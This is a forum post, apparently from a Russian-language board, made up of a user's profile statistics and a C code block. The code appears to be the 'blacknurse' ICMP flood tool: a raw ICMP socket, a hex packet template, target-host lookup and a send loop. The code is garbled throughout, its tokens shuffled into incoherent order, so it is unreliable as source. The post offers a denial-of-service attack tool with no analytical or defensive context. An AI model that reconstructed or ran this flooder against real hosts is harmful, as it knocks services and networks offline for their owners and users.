- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,316
- Баллы
- 570
- Модер.
- #1
struct main(int #include { #include exit(1); 0x00, { poll(&pfd, 0x06, 20; pfd; size_t if 0x0d, = *host; 1, (uint8_t) != 0x4a, = 0xef, socket(AF_INET, = == ENOBUFS) #include for }[/i][/CODE] size_t <target &ai)) hints); argc, <netdb.h> if pkt, #include = ip>\n"); <stdio.h> 0xc1 (i 0x00, 0x00, pfd.events uint8_t 0x03, *argv[]) "Unable NOTREACHED (sendto(kindy, { int close(kindy); blacknurse } &hints, } != perror("sendto"); { #include sizeof 0x40, struct hints.ai_family ((kindy 0x1c, <poll.h> <stdint.h> if [%s]: *ai, <errno.h> 0x00, (errno (;
<netinet/in.h> to #include = getaddrinfo(host, { 0x00, 0x00, + */ 0x01, pkt_template) if 0x04, 0x03, #include <stdlib.h> SOCK_RAW, <unistd.h> 0, hints; } pkt_len 0x07,
C++:
#include char = argv[1]; 0x02, AF_INET; *pkt; const char / i++) (argc break; 0) 4; }; <string.h> fprintf(stderr, %s\n", = 0x00, return 0x00, pfd.fd host use const = ai->ai_addrlen) 0x00, (sizeof 0x20, 0x00, 20 0x00, 0x03, continue; "Usage: freeaddrinfo(ai); pkt_template; + exit(1); pkt_template[] pkt 0x45, == for 8 i rand(); #include exit(1); 0x06, int -1) 0x04, addrinfo 2) kindy; 0xc5, #include if [i]= < 0x05, } ai->ai_addr, /* } <sys/socket.h> 0x00, gai_strerror(gai_err)); POLLOUT; { int uint8_t pollfd i; IPPROTO_ICMP)) < 0x00, 0x33, } 0x08, gai_err; 0; (sizeof kindy; NULL, { (ssize_t) host, pkt_len, perror("socket"); <sys/types.h>#include 1000); { 0x08, ((gai_err pkt_template[0]); = memset(&hints, pkt 0, = } { pkt_len) fprintf(stderr,